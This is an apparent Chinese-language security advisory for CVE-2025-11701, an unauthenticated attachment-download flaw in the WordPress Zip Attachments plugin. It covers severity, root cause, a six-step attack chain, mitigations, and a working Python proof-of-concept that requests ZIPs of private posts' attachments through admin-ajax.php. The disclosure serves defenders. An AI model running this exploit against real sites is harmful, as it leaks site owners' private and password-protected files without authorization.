IPBUF安全漏洞报告
English
CVE-2025-11701 CVSS 5.3 中危

CVE-2025-11701:WordPress Zip Attachments插件未授权访问漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11701
漏洞类型
访问控制缺失/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Zip Attachments插件

相关标签

WordPressZip Attachments未授权访问访问控制缺失信息泄露插件漏洞CWE-862CWE-285中危漏洞

漏洞概述

CVE-2025-11701是WordPress Zip Attachments插件中存在的一个中危安全漏洞,该漏洞由Wordfence安全团队发现并报告。该插件是一款用于将文章附件打包为ZIP文件下载的WordPress插件,广泛应用于需要提供批量附件下载功能的网站中。

该漏洞的根本原因在于插件的`za_create_zip_callback`函数中缺少必要的能力检查(capability check)以及文章状态验证(post status validation)。这意味着任何未经认证的远程攻击者都可以通过构造特定的请求,绕过正常的权限控制机制,访问并下载属于私有文章(private posts)和密码保护文章(password-protected posts)的附件资源。

根据CVSS 3.1评分标准,该漏洞的评分为5.3分,属于中危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),无需用户交互(UI:N),其影响范围仅涉及机密性的低程度泄露(C:L),对完整性和可用性没有影响。这表明虽然漏洞利用难度较低,但其危害范围相对有限,主要风险在于敏感附件内容的未授权泄露。

此漏洞影响该插件所有1.6及以下版本。由于WordPress插件生态的广泛性,使用Zip Attachments插件的网站管理员应及时关注此漏洞的修复进展,并采取相应的安全措施以防止潜在的数据泄露风险。

技术细节

该漏洞的核心问题在于`za_create_zip_callback`回调函数中缺少两个关键的安全检查机制:

1. **能力检查缺失(Missing Capability Check)**:在WordPress中,正常情况下执行某些操作(如读取私有文章内容)需要用户具备相应的权限(如`read_private_posts`能力)。然而,`za_create_zip_callback`函数在处理ZIP创建请求时,没有验证当前用户是否具有访问目标文章附件的权限。这意味着即使是未登录的访客,也可以触发该函数并获取私有文章的附件。

2. **文章状态验证缺失(Missing Post Status Validation)**:WordPress中的文章可以处于多种状态,包括`publish`(已发布)、`private`(私有)、`password`(密码保护)等。正常逻辑下,私有和密码保护的文章应该仅对具有相应权限的用户可见。但该函数没有对文章的状态进行检查和过滤,直接允许对所有状态的文章执行附件打包操作。

**漏洞利用方式**:
攻击者无需任何认证,只需向WordPress站点的AJAX端点(admin-ajax.php)发送带有特定参数的POST请求,调用`za_create_zip`动作,并传入目标文章ID(特别是私有或密码保护文章的ID),即可触发`za_create_zip_callback`函数。函数将根据传入的文章ID收集所有附件并打包为ZIP文件返回给攻击者,从而实现对受保护附件的未授权下载。

相关漏洞代码位于zip-attachments.php的第46行和第95行,这些位置涉及回调函数的注册和实现逻辑。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过常规手段(如公开页面源码、目录枚举或ID猜测)获取目标WordPress网站上私有文章或密码保护文章的ID列表。
STEP 2
步骤2:构造恶意请求
攻击者向目标站点的/wp-admin/admin-ajax.php端点发送POST请求,在请求参数中设置action=za_create_zip并传入目标文章的ID数组。
STEP 3
步骤3:触发漏洞函数
请求触发WordPress的AJAX处理机制,调用Zip Attachments插件的za_create_zip_callback函数。由于该函数缺少能力检查和文章状态验证,直接接受未认证请求。
STEP 4
步骤4:绕过权限控制
函数未验证当前用户权限和文章状态,绕过WordPress正常的私有文章访问控制机制,开始收集指定文章的附件文件。
STEP 5
步骤5:打包并返回附件
插件将收集到的附件(包括私有文章和密码保护文章的附件)打包为ZIP文件,并通过HTTP响应返回给攻击者。
STEP 6
步骤6:数据泄露
攻击者成功下载并解压ZIP文件,获取本应受保护的敏感附件内容,完成数据泄露攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11701 PoC - Zip Attachments Plugin Unauthorized Access # Vulnerability: Missing capability check and post status validation # Affected: Zip Attachments plugin <= 1.6 import requests # Target WordPress site target_url = "http://target-wordpress-site.com" # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Identify target post IDs (private or password-protected posts) # Attackers may enumerate post IDs or obtain them from other sources target_post_ids = [123, 456, 789] # Replace with actual private post IDs # Step 2: Send unauthenticated request to trigger za_create_zip_callback for post_id in target_post_ids: payload = { "action": "za_create_zip", "post_ids[]": post_id } # No authentication required (PR:N) response = requests.post(ajax_url, data=payload) if response.status_code == 200 and response.content: # Save the downloaded ZIP containing protected attachments filename = f"exfiltrated_post_{post_id}.zip" with open(filename, "wb") as f: f.write(response.content) print(f"[+] Successfully exfiltrated attachments from post {post_id}") else: print(f"[-] Failed to access post {post_id}") # Note: This PoC demonstrates how unauthenticated attackers can # download attachments from private and password-protected posts # without any capability check or post status validation.

影响范围

Zip Attachments <= 1.6

防御指南

临时缓解措施
在官方发布安全补丁之前,建议网站管理员立即禁用Zip Attachments插件,以防止未授权访问私有文章附件。如果无法立即禁用,可通过修改.htaccess文件或配置Web服务器规则,限制对wp-admin/admin-ajax.php中za_create_zip动作的访问,仅允许已认证的管理用户访问。同时,建议启用Wordfence等安全防护插件,对来自未认证用户的AJAX请求进行监控和拦截。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表